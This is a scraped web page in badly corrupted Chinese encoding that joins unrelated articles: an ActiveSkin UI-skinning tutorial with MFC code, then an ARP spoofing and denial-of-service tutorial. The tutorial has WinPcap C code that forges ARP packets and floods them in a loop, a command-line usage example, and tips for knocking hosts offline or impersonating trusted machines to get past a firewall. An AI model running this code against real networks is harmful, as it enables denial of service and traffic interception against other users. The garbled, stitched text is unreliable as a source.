锘??xml version="1.0" encoding="utf-8" standalone="yes"?>
]]>
]]>
銆銆ActiveSkin鏄竴嬈劇粰杞歡鏇存崲鐨偆鐨凙ctiveX鎺т歡銆傚畠寰堣繕濂界殑灝嗚蔣浠剁晫闈㈣璁″伐浣滀粠綣佺悙紼嬪簭浠g爜緙栧啓涓В鏀懼嚭鏉ワ紝浣垮緱鍔熻兘璁捐鑰呭彲浠ヤ笓蹇冧簬鍔熻兘浠g爜鐨勫疄鐜幫紝鑰屾妸杞歡鐣岄潰浜ょ粰緹庡伐浜哄憳澶勭悊銆傛彁楂樹簡鐣岄潰璁捐鐨勫伐浣滄晥鐜囷紝鏄竴縐嶅緢濂界殑杞歡璁捐鎬濇兂銆?br />
涓嬮潰閫氳繃涓変釜紺轟緥鏉ヤ粙緇嶄粬鐨勪竴鑸嬌鐢ㄣ?br />
紺轟緥涓錛?/b>鏍囧噯鍨嬬毊鑲kinForm鐨勫璇濇宸ョ▼
銆銆鍦╒C鐜涓嬪緩绔嬩竴涓狹FC鍩烘湰瀵硅瘽妗嗗伐紼嬨傚湪瀵硅瘽妗嗙殑璧勬簮鏂囦歡閲孌lg.rc璁捐瀵硅瘽妗嗙晫闈腑錛屽垹鍘誨凡鏈夌殑鎸夐挳Buttons鍜屾爣絳綥ables錛屽茍鎻掑叆ActiveSkin鐨凙ctiveX鎺т歡錛屽懡鍚嶄負IDC_SKIN銆傚彸閿偣鍑籄ctiveSkin鎺т歡錛屽湪ActiveX灞炴ч噷閫夋嫨LoadSkin鑿滃崟欏癸紝鍙鍏堝姞杞戒竴涓猄kin鏂囦歡銆?br />鍦⊿tdAfx.h涓?//{{AFX_INSERT_LOCATION}} 涔嬪墠娣誨姞浠ヤ笅璇彞錛?
//鐩殑鏄鍏ctiveSkin鐨勫嚱鏁版帴鍙e簱銆? #include <atlbase.h> #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types using namespace ACTIVESKINLib;鎺ョ潃錛屽湪Dlg.cpp鏂囦歡閲屾坊鍔犺鍙ワ細
CComQIPtr<ISkin> m_pSkin=GetDlgItem(IDC_SKIN)->GetControlUnknown();//m_pSkin鏄簲鐢ㄧ▼搴忓叏灞閲忋? m_pSkin->LoadSkin(L"鐨偆鏂囦歡X鐨勮礬寰?);//濡傛灉ActiveSkin鎺т歡涓凡鏈夌毊鑲わ紝姝ゅ彞鍙渷鐣ャ? m_pSkin->ApplySkin((int)m_hWnd);銆銆緙栬瘧榪愯錛屽彲浠ョ湅鍒扮毊鑲ゆ枃浠禭鎴愪負浜嗙▼搴忕殑榪愯鐣岄潰銆傚鏋滄兂瑕佸湪紼嬪簭榪愯鏃舵洿鎹㈢毊鑲わ紝閭d篃鏄彲浠ョ殑銆傚湪瀵硅瘽妗嗕笂寤虹珛涓涓狟utton錛屽茍娣誨姞Click浜嬩歡錛?
void CMy1Dlg::OnBNewSkin() { static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//鏂囦歡榪囨護鍣ㄨ緗? CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skin鏂囦歡閫夋嫨紿楀彛銆? if (dlg.DoModal() == IDOK)//Skin鏂囦歡閫夋嫨鎴愬姛錛? { USES_CONVERSION; m_pSkin->LoadSkin(T2W(dlg.GetPathName()));//杞藉叆鎸囧畾鐨凷kin鏂囦歡銆? m_pSkin->ApplySkin((int)m_hWnd);//浣垮綋鍓峉kin鐢熸晥銆? } }銆銆浣犱細鍙戠幇榪愯鏃朵富紿楀彛宸茬粡鎹㈣偆鎴愬姛浜嗭紝浣嗏滃叧浜庘濆璇濇絳夐潪涓葷獥鍙e茍娌″彉鍖栥傞渶瑕佸湪AboutDlg鐨凮nInitDialog()浜嬩歡涓姞鍏ヤ竴鍙ワ細
m_pSkin->ApplySkin((int)m_hWnd);鍐嶈繍琛屽氨涓鍒嘜k浜嗭紒
BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext); m_pSkin->ApplySkin((long)m_hWnd); return bRes;榪欐牱灝卞彲浠ヤ簡銆?
if(FAILED(m_pSkin->LoadSkin(Temp))||銆銆銆//鍧囦嬌鐢↙oadSkin()瑁呰澆鏌愪竴Skin錛屽弬鏁版槸Skin鏂囦歡鐨勮礬寰勫悕銆? FAILED(m_pSkin->ApplySkinByName((long)m_hWnd, L"FreeForm"))) //SkinForm綾誨瀷鐨勭毊鑲や嬌鐢ˋpplySkin浣垮叾鐢熸晥錛? //榪欑鏂瑰紡浼氳嚜鍔ㄥ皢鏌怱kin涓殑鎵鏈塖kinObject鍏冪礌鏇夸唬鎸囧畾Handle鐨勭獥鍙c? //SkinFreeForm綾誨瀷鐨勭毊鑲や嬌鐢ˋpplySkinByName()浣垮叾鐢熸晥錛? //鍏朵腑絎竴涓弬鏁版槸紿楀彛鍙ユ焺錛岀浜屼釜鍙傛暟鏄疭kinBuilder涓竴涓狾bject鐨勫悕瀛椼? { MessageBox("Could not load or apply the skin."); PostMessage(WM_CLOSE); return FALSE; }銆銆浜嬩歡椹卞姩鐨勫尯鍒細SkinForm鎹㈣偆鏃朵笉褰卞搷紼嬪簭浠g爜鐨勫師浜嬩歡宸ヤ綔鏂瑰紡錛屽彧鏄晫闈笂鐨勬崲鑲わ紝鍥犺孲kinForm::ApplySkin(Handle)灝監K浜嗭紱浣嗘槸SkinFreeForm灝變笉鍚屼簡錛屽畠蹇呴』鐢ㄤ竴涓秷鎭車錛岄噰鐢ㄦ秷鎭殑鏂瑰紡浣跨▼搴忚幏寰桽kin涓婄殑浜嬩歡錛岃屼笖鍦ㄥ叾浜嬩歡涓噰鐢↖SkinObject::GetName(BSTR *)鑾峰緱鐩稿叧鐨勭毊鑲ゅ厓绱狅紝鐢℅etSkinnedWindow(hWnd).FindObject("Screen")鏉ヨ幏鍙栫浉搴旂殑鍏冪礌鍙ユ焺璁劇疆鍏冪礌鐘舵併傜畝鍗曠殑娑堟伅娉靛彲浠ラ氳繃Skin鎺т歡涓婂彸閿瓻vent璁劇疆騫剁紪鍐欍?br />銆銆鍏蜂綋瀹炵幇璇風湅紺轟緥婧愪唬鐮併傜ず渚嬪湪浣跨敤鍓嶈瀹夎濂紸ctiveSkin4.3錛屽彲鑳借繕闇瑕佷慨鏀逛簨渚嬩腑Skin鎺т歡鍒濆鐨凩oadSkin(Skin鏂囦歡)鎵嶈兘姝e父浣跨敤
鍏充簬璁ㄨARP鍝勯獥鐨勬枃绔狅紝榛戦槻鍦ㄧ8鏈熺殑銆婂皬紿RP鍗忚銆嬪拰絎?鏈熴夾RP SPOOF DoS鏀婚槻璇﹁皥銆嬪潎鏈変粙緇嶏紝涓嶈繃錛屼織璇濊錛屾巿浜洪奔錛屼笉濡傛巿浜轟互娓旓紝鏇村鐨勮鑰呬篃璁告湡寰呯殑鏄浣曞皢鍏跺師鐞嗗拰緙栫▼瀹炵幇緇撳悎銆傛湰鏂囩殑鐫絎旂偣姝f槸鍑轟簬榪欐牱鐨勭洰鐨勶紝鏇存槸瀵逛笂榪頒袱綃囨枃绔犵殑涓涓ˉ鍏咃紝甯屾湜鑳界粰璇昏呬滑鐪熸鐞嗚ВARP鏀誨嚮鐨勫疄璐紝鍚屾椂錛屼篃緇欓儴鍒嗘兂瀛︿範鑰屽張瀹蟲曞涔燱inPcap鐨勮鑰呬竴浜涒滃笀鍌呴榪涢棬鈥濈殑鎰熷彈銆?br />銆愪互涓嬫祴璇曠幆澧冧負WinXPsp1 + VC6.0sp6 + WinPcap3.14beta錛屽叾涓紝蹇呴』瀹夎WinPcap3.0浠ヤ笂鐗堟湰鐨勯┍鍔ㄣ傘?br />棣栧厛錛屾垜浠氳繃渚嬪瓙鏉ュ洖欏句竴涓婣RP鍝勯獥鍜屾敾鍑葷殑鍘熺悊鍚с傚厛鏉ュ仛涓疄楠岋紝鍏堟墦寮涓涓猚md紿楀彛錛岃緭鍏rp 鈥揳錛岃鍛戒護琛ㄧず閫氳繃璇㈤棶褰撳墠鍗忚鏁版嵁鏉ユ煡鐪嬫湰鏈篈RP緙撳瓨淇濆瓨鐨勫叆鍙e湴鍧銆?聽
涓婇潰琛ㄧず浣滆呮湰浜虹殑涓繪満IP涓?92.168.3.155錛岀幇鍦ˋRP緙撳瓨閲屽彧鏈変袱鏉P涓?92.168.3.253鍜?92.168.3.254鐨凙RP緙撳瓨璁板綍錛屽緢鏄劇劧錛屼袱IP鏄綔鑰呬富鏈烘墍鍦ㄥ眬鍩熺綉鐨勭綉鍏籌紙鍢垮樋錛屾牎鍥綉鍜孉DSL錛夛紝瀹冪殑MAC鍦板潃涓?*-**-18-23-b8-10鍜?*-**-4c-78-22-22錛岀被鍨嬩負dynamic錛屽嵆鍔ㄦ佺紦瀛樸?br />鐒跺悗錛宲ing鍚屼竴灞鍩熺綉鍐呯殑鍙︿竴IP涓?92.168.3.162鐨勪富鏈猴紝鍐嶆杈撳叆arp 鈥揳錛屽緱鍒扮粨鏋溿?br />鐪嬪埌錛岃櫧鐒禤ING涓嶉氾紝浣咥RP緙撳瓨鍗村埛鏂頒簡錛屾坊鍔犱簡192.168.3.162榪欎竴欏硅褰曪紝騫舵樉紺哄叾MAC鍦板潃涓?*-**-ab-31-5c-3c錛岀被鍨嬩篃鏄痙ynamic錛屾樉鐒訛紝瀵規柟寮浜嗛槻鐏騫惰緗簡紱佹鍐呭彂鐨凱ING鍖咃紝浣嗘槸浠嶇劧鏆撮湶浜嗚涓繪満鏄椿鍔ㄤ富鏈虹殑浜嬪疄錛岃屼笖瀵規柟鐨凙RP緙撳瓨鍥犳鑰屽埛鏂般?/p>
濂戒簡錛屽埌鐜板湪錛屾垜浠彲浠ユ妸鐩爣瀹氫負錛屼吉閫?92.168.3.155鐨凪AC鍦板潃涓?1-22-33-44-55-66錛屼互杈懼埌鍝勯獥鐨勭洰鐨勩傛垜浠互姝や負鍩虹偣錛屽厛榪涘叆緙栫爜鐨勯儴鍒嗐傚洜涓烘暣涓狝RP Spoof&Dos閮藉湪浜ゆ崲鐜鐨勫眬鍩熺綉鍐咃紝娑夊強鍒扮殑閮芥槸MAC灞傜殑閫氫俊錛屾墍浠ュ畾涔変互澶綉棣栭儴鍜孉RP棣栭儴灝辨垚涓哄繀瑕佺殑浜嗭紝榪欐牱鎴戜滑鎵嶅彲浠ユ瀯閫犱吉鏁版嵁鍖咃紝濡備笅錛?br />typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 鐩爣浠ュお緗戝湴鍧*/
unsigned char eh_src[6]; /* 婧愪互澶綉鍦板潃 */
unsigned short eh_type; /* 浠ュお緗戝寘綾誨瀷 */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* 紜歡鍦板潃鏍煎紡 */
unsigned short arp_pro; /* 鍗忚鍦板潃鏍煎紡 */
unsigned char arp_hln; /* 紜歡鍦板潃闀垮害 */
unsigned char arp_pln; /* 鍗忚鍦板潃闀垮害 */
unsigned short arp_op; /* ARP/RARP 鎿嶄綔 */unsigned char arp_sha[6]; /* 婧愬彂閫佽呯‖浠跺湴鍧 */
unsigned long arp_spa; /* 婧愬彂閫佽呭崗璁湴鍧 */
unsigned char arp_tha[6]; /* 鐩爣紜歡鍦板潃 */
unsigned long arp_tpa; /* 鐩爣鍗忚鍦板潃 */
}ARPHDR, *PARPHDR;
姣忎釜瀛楁鍦ㄦ敞閲婇噷璁茬殑寰堣緇嗕簡錛屽鏋滄湁鐤戦棶錛屽彲浠ユ煡闃匱CP/IP鐩稿叧涔︾睄銆備笅涓姝ワ紝絎旇呯殑Spoof瀹炵幇闇瑕佽緭鍏?涓狪P鍦板潃澶栧姞涓涓彲閫夌殑緗戝崱鍦板潃錛屾墍浠ュ氨娑夊強鍒拌В鏋愯緭鍏ョ殑涓繪満鍚嶆垨IP鐨勫疄鐜幫紝榪欎釜鐩鎬俊寰堝鍐欒繃緗戠粶紼嬪簭鐨勮鑰呴兘涓嶉檶鐢燂紝濡備笅錛?br />DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 杞崲鎴愮綉緇滃湴鍧 */
/* 濡傛灉鏄富鏈哄悕鎴栧煙鍚嶏紝闈炵偣鍒?0榪涘埗IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 杞崲鎴?2浣嶇綉緇滃湴鍧 */
}return host_ip;
}
鐒跺悗錛岄渶瑕佸畾涔変竴涓狦etInterface()鍑芥暟錛岄【鍚嶆濅箟錛屽氨鏄幏寰楁湰鍦頒富鏈虹綉緇滄帴鍙g殑鎰忔濓紝鍥犱負鍩轟簬WinPcap鐨勫嚑涔庢墍鏈夊簲鐢ㄧ▼搴忛兘闇瑕侀夋嫨鍚堥傜殑緗戝崱閫傞厤鍣ㄣ傦紙寰堝鍒氭帴瑙inPcap鐨勮鑰呭彲鑳戒細鎰熷埌寰堟兌鎭愶紝濂藉儚WinPcap鎵鐢ㄧ殑API鍑芥暟璁╁緢澶歐indows紼嬪簭鍛樹竴涓嬪瓙鎺ユ敹涓嶄簡錛屽叾瀹炲緢姝e父錛岀敤鐨勫浜嗭紝鐪嬬殑澶氫簡錛屾參鎱㈢殑錛屾垜鐩鎬俊璇昏呴棬浼氳秺鏉ヨ秺鍠滄寮哄ぇ鐨刉inPcap鐨勶級GetInterface()瀹氫箟濡備笅錛?br />pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*鍙栧緱璁懼鍒楄〃*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 鎵撳嵃璁懼鍒楄〃*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;/* 璺沖埌琚夋嫨鐨勭綉鍗¢傞厤鍣ㄦ帴鍙?*/
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 浠庣綉緇滀笂鎵撳紑媧誨姩鐨勬崟鑾瘋涓猴紝榪斿洖涓涓猵cap_t綾誨瀷鎻忚堪絎?*/
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 閲婃斁pcap_findalldevs()鎵撳紑鐨勬帴鍙e垪琛?/
pcap_freealldevs(alldevs);return(fp);
}
涓婇潰鐨勬敞閲婂凡緇忔瘮杈冩竻妤氫簡錛屾墍鏈夌殑娑夊強鍒扮殑WinPcap鐨勭粨鏋勪綋鍜孉PI鍑芥暟錛屼互鍙婂熀浜嶹inPcap紼嬪簭鐨勭紪璇戞柟娉曪紝澶у閮藉彲浠ュ埌http://winpcap.polito.it/鍦ㄧ嚎鏌ヨ鎴栨妸鏂囨。涓嬭澆鍚庢湰鏈烘煡璇紝鎴栬呭埌璁哄潧璇㈤棶銆傚湪鎴戠殑浠g爜閲岋紝鎴戝亣璁懼鏋滅敤鎴瘋緭鍏ュ彲閫夌殑浼狹AC鍦板潃錛屽垯浣跨敤榪欎釜鑷畾涔夌殑浼狹AC鍦板潃錛屽鏋滀笉杈撳叆錛屽垯浣跨敤闅忔満浜х敓鐨勪吉MAC鍦板潃錛屼唬鐮侀儴鍒嗗涓嬶細
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
涓轟簡寰楀埌鐢辯郴緇熸椂閽熶駭鐢熺殑闅忔満鏁幫紝蹇呴』鍦ㄥご鏂囦歡閲屽姞鍏?#include <time.h>錛屽湪紼嬪簭閲屽姞鍏rand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*鍒濆鍖杦in sock搴?/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 鐢ㄥ畬浜嗭紝璁頒綇閲婃斁鍝?*/
涓轟簡浣跨敤winsock2澶存枃浠訛紝瑕佹寚瀹?pragma comment(lib, "ws2_32.lib")鏉ュ寘鍚玾s2_32.lib搴撴枃浠躲備笅闈㈠氨鍒頒簡鑷畾涔夋瀯閫犱互澶ご鍜孉RP澶翠簡錛岃繖灝辨槸鎴戜滑浼燤AC鐨勫姞宸ュ巶錛?br />memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* 璇鋒眰鏈嶅姟 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 浼簮MAC鍦板潃 */
arphdr->arp_spa = ip_add; /* 浼簮ARP 鍗忚鍦板潃*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 浼洰鏍嘙AC鍦板潃 */
arphdr->arp_tpa = ip_dst; /* 浼洰鏍嘇RP鍗忚鍦板潃 */
榪欓噷鎵鏈夌殑瀹忛兘鍙互鍦ㄦ垜鎻愪緵鐨刟rp.h澶存枃浠墮噷寰楀埌瀵瑰簲鐨勫畾涔夈傛瘡涓欏歸兘寰堟竻鏅幫紝涓昏鏄瀯閫犳渶鍚庣殑鍑犻」錛堟湁娉ㄩ噴鐨勮錛夛紝閭i噷鏄粙鐢熺姜鎭剁殑婧愬ご銆?br />浼狹AC鍖呮瀯閫犲ソ浜嗭紝鏈鍚庡墿涓嬬殑灝辨槸鍙戦佷吉鏁版嵁鍖呬簡錛屽啀嬈″彂鎸inPcap搴撶殑鍙戝寘鍑芥暟錛屽涓嬶細
pcap_sendpacket(fp, buff, sizeof(buff)) ;
鍒拌繖錛屽彲浠ラ暱鍢樹竴鍙f皵錛屽ぇ鍚間竴澹扳滄墦瀹屾敹宸モ濓紝璁╂垜浠祴璇曚竴涓嬫垚鏋滐紝鐪嬫槸鍚﹁兘杈懼埌鎴戜滑鏈寮濮嬮瀹氱殑鐩爣銆傝緭鍏?arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
棣栧厛錛屾彁紺鴻緭鍏ユ帴鍙e彿錛屽洜涓篧inPcap搴撳繀欏婚夋嫨姝g‘鐨勭綉鍗¢傞厤鍣ㄦ帴鍙o紝鍦ㄧ瑪鑰呮満瀛愪笂錛屽畨瑁呬簡2涓櫄鎷熸満錛屾墍浠ユ湁4涓帴鍙o紝2鍙鋒帴鍙d唬琛ㄦ湰緋葷粺緗戝崱鎺ュ彛錛屾墍浠ラ?錛堜綘鐨勫彲鑳戒笉鍚屽摝錛夛紝鍥炶濺鍚庯紝鍙戠幇鍙充笅鑴氶┈涓婃彁紺篒P鍦板潃鍐茬獊鈥﹀樋鍢匡紝鎴戜滑鏉ュ垎鏋愪竴涓嬶紝arpspoof.exe鏄垜浠搫楠楃▼搴忥紝192.168.3.155鏄瑪鑰呯殑IP鍦板潃錛?92.168.3.162鏄悓涓灞鍩熺綉鍐呭彟涓涓繪満IP錛屽氨鏄妸192.168.3.155鍦板潃鐨凪AC鍦板潃11錛?2錛?3錛?4錛?5錛?6娣誨姞鍒?92.168.3.162榪欏彴涓繪満鐨勫姩鎬丄RP緙撳瓨閲岋紝鏀誨嚮榪囧悗錛?92.168.3.162鐨凙RP緙撳瓨銆?br />鍒氭墠鎴戞妸鑷繁鐨処P褰撳仛鍙傛暟涓瀵艱嚧浜嗚嚜宸辯殑IP鍐茬獊錛岄偅濡傛灉鎴戞兂浣?92.168.3.162榪欏彴鏈哄瓙浜х敓IP鍐茬獊錛屽氨鍙互璋冩崲涓涓嬪弬鏁頒竴鍜屽弬鏁頒簩鐨勪綅緗紝鍗?br />澶у鎯蟲兂浠涔堝師鐞嗭紝鍛靛懙錛岃繖閲屾垜灝變笉澶氳浜嗐傚鏋滄兂闅愮瀿浣滀負鏀誨嚮鑰呯殑IP,絎?涓弬鏁板彲浠ユ敼鎴愮綉孌靛唴鐨勪換鎰忓叾浠栫殑IP銆傝繖鏍鳳紝鎴戜滑鍙戣搗涓嬈℃敾鍑伙紝192.168.3.162鐨勪富鏈哄氨浜х敓涓嬈P鍐茬獊錛屼絾榪欐牱鑲畾鏄笉澶熺殑錛屾瘡闅斾竴孌墊椂闂達紝瀵規柟鐨凙RP緙撳瓨灝變細鍒鋒柊涓嬈★紝鎵浠ワ紝濡傛灉瑕佽繘琛屼竴嬈RP Dos鏀誨嚮鐨勮瘽錛屾垜浠繕蹇呴』涓嶆柇鐨勭粰浠栦滑鍙戯紝浠ヤ繚璇佸鏂笰RP緙撳瓨濮嬬粓鏄垜浠瀯閫犵殑浼狹AC鍦板潃銆傚疄鐜板緢綆鍗曪紝濡備笅錛?br />while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* 榪欓噷鐨?define DELAY (CLOCKS_PER_SEC >> 1) 鍗沖崐縐?*/
}
鏀誨嚮榪囩▼銆?br />鐐圭偣灝辮〃紺烘瘡闅斿崐縐掑彂閫佷竴嬈RP鍖呫傜粨鏋滄槸錛屽湪琚獶oS鏀誨嚮鍚庯紝濡傛灉鍐嶆PING
192.168.3.162錛屽嵆浣垮鏂逛笉寮闃茬伀澧欙紝涔熸病鏈夌姝NNER PING錛屽嵈浠嶇劧PING涓嶉氾紝鏌ョ湅
鑷繁鐨凙RP緙撳瓨錛屾垜浠彂鐜幫紝瀵規柟鐨凪AC鍦板潃緙栫▼浜?0-00-00-00-00-00錛屾敾鍑繪垚鍔熴?br />灝忕粨錛?br />鍦ㄤ簡瑙d簡ARP Spoof&Dos鏀誨嚮鐨勫師鐞嗗悗錛屽疄鐜拌搗鏉ュ氨涓嶉偅涔堥毦浜嗐傚ぇ瀛︽牎鍥綉甯稿父鍥犱負IP璧勬簮鐨勪弗閲嶄笉瓚寵屽彂鐢熷悓瀛︿滑浜掓姠IP鐨勭幇璞★紝鏈夋噦涓鐐笰RP鍝勯獥鐨勫鐢熷氨鐢ㄧ綉緇滄墽娉曞畼絳夊伐鍏鳳紝鑰屼笉鎳傜殑鐨勫氨鍙湁浠諱漢瀹板壊錛屽鏋滀綘榪樻槸閭h瀹板壊鐨勪竴閮ㄥ垎浜轟腑鐨勪竴涓紝閭d箞鐪嬪畬浜嗘湰鏂囩殑浣狅紝鏄笉鏄篃璇ュ仛鐐逛粈涔堜簡鍛€傦紙鍦ㄥ厜鐩樼殑婧愪唬鐮佹枃浠墮噷錛屽彧鎻愪緵浜嗕竴涓簮浠g爜鏂囦歡arpspoof.cpp錛屽畠鐨勪綔鐢ㄦ槸瀹炵幇緇欑洰鏍嘔P娣誨姞ARP緙撳瓨錛岃宎rpdos.cpp鎴戞病鏈夋彁渚涳紝闃叉鏈変漢鍋氬潖浜嬶紝鍛靛懙錛屽鏋滀綘鏄湡蹇冩姳鐫瀛︿範鐨勬佸害錛岄偅涔堟垜鐩鎬俊鐪嬪畬
聽聽聽 鍥涖侫RP鍖呯殑娓告垙
聽聽聽聽聽 1聽.聽 聽灝忎紟淇?/font>
聽聽聽聽聽 2.聽 聽 ARP嬈洪獥鐨勫疄鐜?/font>
聽聽聽聽聽 3.聽聽 鍩轟簬ARP嬈洪獥鐨勭洃鍚師鐞?/font> 聽
聽
鍥涳紟ARP鍖呯殑娓告垙
鏃㈢劧鎴戜滑鍙互鑷繁鏉ュ~鍏呮暟鎹寘錛岄偅涔堟潵鐜╀簺
ARP
鐨勨滃皬娓告垙鈥濇楠楀氨鏄槗濡傚弽鎺屼簡錛屽綋鐒訛紝鏄湪娌℃湁瀹夊叏闃叉姢鐨勭綉緇滈噷
錛屾瘮濡傚彧鏈?/span>
hub
鎴栬呬氦鎹㈡満鎶婁綘浠浉榪烇紝鑰屾病鏈夎礬鐢卞垎孌?/span>
鈥︹_^
涓嬮潰鎴戝氨鐢辨祬鍏ユ繁鐨勮涓浜涗粙緇嶄竴浜涘叧浜?/span> ARP 鐨勫皬浼庝咯銆?/span>
1.
灝忎紟淇?/span>
1)聽聽聽聽聽聽
浣犲彲浠ヨ瘯鐫鍙戜竴涓姹傚寘騫挎挱錛屽叾涓殑
ARP
甯ч噷鍏充簬浣犵殑淇℃伅濉垚榪欐牱錛?/span>
(
涓轟簡鑺傜渷綃囧箙錛屾垜鍙啓闇瑕佺壒鍒寚鍑虹殑濉厖瀛楁
)
鍙戦佹柟MAC |
6 |
闅忎究涔卞~涓涓敊璇殑 |
鍙戦佹柟IP |
4 |
聽
濉笂浣犵殑IP |
聽聽
鍑虹幇浠涔堢粨鏋滐紵鏄笉鏄脊鍑轟竴涓?/span>
IP
鍦板潃鍐茬獊鐨勬彁紺猴紵鍛靛懙錛屽悓鏍風殑閬撶悊錛屽鏋滃彂閫佹柟
IP
濉垚鍒漢鐨勶紝鐒跺悗姣忛殧
1
縐掑彂涓嬈?/span>
鈥︹︹?.-_-b
2)聽聽聽聽聽聽
姣斿浣犱滑閮介潬涓涓綉鍏?/span>
192.168.0.1
涓婄綉
錛屽鏋滀綘鎯寵
192.168.0.77
涓婁笉浜嗙綉錛屽氨鍙互浼鎴愮綉鍏崇粰
192.168.0.77
鍙戜竴涓敊璇殑
ARP
鍝嶅簲鍖?/span>
, like this
鍙戦佹柟MAC |
6 |
闅忎究涔卞~涓涓敊璇殑 |
鍙戦佹柟IP |
4 |
聽
緗戝叧IP 192.168.0.1 |
鎺ユ敹鏂瑰氨濉?/span>
192.168.0.77
鐨勭浉鍏充俊鎭紝鍙戦佷箣鍚庯紝瀹冭繕鑳戒笂緗戜笉錛?/span>
榪欐牱鑳芥姌鑵句粬濂戒竴闃靛瓙浜嗭紝鍙瀹冪殑緋葷粺寰椾笉鍒版紜殑鍒扮綉鍏崇殑
ARP
鏄犲皠琛ㄥ畠灝變竴鐩翠笂涓嶄簡緗戜簡
^_^
聽聽聽聽聽聽聽聽 聽 鍛靛懙綾諱技鐨勪紟淇╄繕鏈夊緢澶氾紝涓嶈繃鍙仠鐣欏湪榪欑偣涓滆タ涓婁篃娌′粈涔堟剰鎬濓紝榪樻槸鐪嬬湅紼嶅井楂樻繁涓鐐圭殑鍚?/span> ^_^
聽聽聽聽聽聽 2.聽聽聽聽聽聽聽
ARP
嬈洪獥
鍥犱負鍦ㄤ互澶綉閲岋紝緗戠粶璁懼灝辨槸闈?/span>
MAC
淇℃伅鏉ヨ瘑鍒殑璁$畻鏈虹殑錛屾瘮濡?/span>
A
鐢佃剳鐭ラ亾
MAC
鍦板潃涓?/span>
22-22-22-22-22-22
鐨勭數鑴戞槸
B
錛岃屽鏋滄垜緇?/span>
A
鍙戦佷竴涓?/span>
ARP
鍝嶅簲鍖咃紝鍛婅瘔瀹冩垜鐨?/span>
MAC
鏄?/span>
22-22-22-22-22-22
鐨勮瘽錛?/span>
A
鍚屾牱浼氳涓烘垜鐨勮綆楁満鏄?/span>
B
浜嗭紝閭d箞濂斤紝鎴戜滑璁炬兂鏈夎繖涔堜竴涓幆澧冿紝
A
鐨勯槻鐏鍙
IP
涓?/span>
192.168.0.2 MAC
涓?/span>
22-22-22-22-22-22
鐨?/span>
B
鏈変俊浠誨叧緋伙紝鑰屼笖
A
鎵撳紑浜?/span>
21
绔彛鎻愪緵
FTP
鏈嶅姟錛屾甯告儏鍐典笅鍥犱負闃茬伀澧欑殑緙樻晠鎴戜滑鐨勮綆楁満鏄繛涓嶅埌
A
鐨勶紝
浜庢槸鎴戜滑鎯沖姙娉曡
B down
鎺夛紝鎴栬呭湪瀹冨叧鏈虹殑鏃跺欙紝鎴戜滑鎶婃垜浠殑
IP
鏀規垚
B
鐨?/span>
192.168.0.2
錛岀劧鍚庣粰
A
鍙戦佷竴涓?/span>
ARP
鍥炲簲鍖咃紝鍛婅瘔
A
鏇存柊涓涓?/span>
ARP
緙撳瓨鍒楄〃錛?/span>
192.168.0.2
鐨?/span>
IP
鏄犲皠鍒版垜浠殑
MAC
鍦板潃涓婃潵錛屼簬鏄紝濂囪抗鍑虹幇浜嗭紝鎴戜滑鍙互榪炲埌
A
鐨?/span>
FTP
涓婁簡錛岄槻鐏澶辨晥浜?/span>
^_^
涓嶈繃榪欎釜鍔炴硶鍙兘鍦ㄥ悓緗戞鍐呯敓鏁堬紝濡傛灉鎴戜滑鍜?/span>
A
涓嶅湪涓涓綉孌靛唴錛岄偅灝辮澶嶆潅鐨勫浜嗭紝榪樿閰嶅悎
ICMP
鐨勯噸瀹氬悜鏉ユ帶鍒舵姤鏂囩殑璺敱錛岃繖涓垜鍑嗗鍦ㄤ互鍚庨槓榪?/span>
ICMP
